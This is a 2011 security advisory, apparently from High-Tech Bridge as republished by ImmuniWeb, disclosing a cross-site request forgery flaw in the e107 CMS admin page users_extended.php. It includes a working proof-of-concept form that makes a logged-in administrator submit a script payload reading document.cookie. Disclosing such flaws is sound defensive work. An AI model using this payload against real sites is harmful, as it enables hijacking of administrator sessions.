In view of COVID-19 precaution measures, we remind you that ImmuniWeb Platform allows to easily configure and safely buy online all available solutions in a few clicks.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Cross-site Request Forgery in e107

Advisory ID:HTB23004
Product:e107 website system
Vulnerable Versions:0.7.25 and probably prior
Tested Version:0.7.25
Advisory Publication:May 25, 2011 [without technical details]
Vendor Notification:May 25, 2011
Public Disclosure:June 15, 2011
Latest Update:March 23, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in e107 which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in e107
The vulnerability exists due to insufficient verification of the request origin in e107_admin/users_extended.php. A remote attacker can trick a logged-in administrator into following a specially crafted link and execute arbitrary HTML and script code via the "user_include" HTTP POST parameter in administrator`s browser in context of vulnerable website.

Exploitation example:
setTimeout("document.getElementById('f1').src='http://HOST/e107_ad min/users_extended.php'",2000);
<iframe id=f1 src='form.html'></iframe>

<form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Upgrade to 0.7.26 or later

More Information:

[1] High-Tech Bridge Advisory HTB23004 - - Cross-site Request Forgery in e107
[2] e107 - - e107 is an Advanced Content Publishing Solution for Website Pages, Documents, Menus and Links (Content Management System) powered by PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
How it Works Ask a Question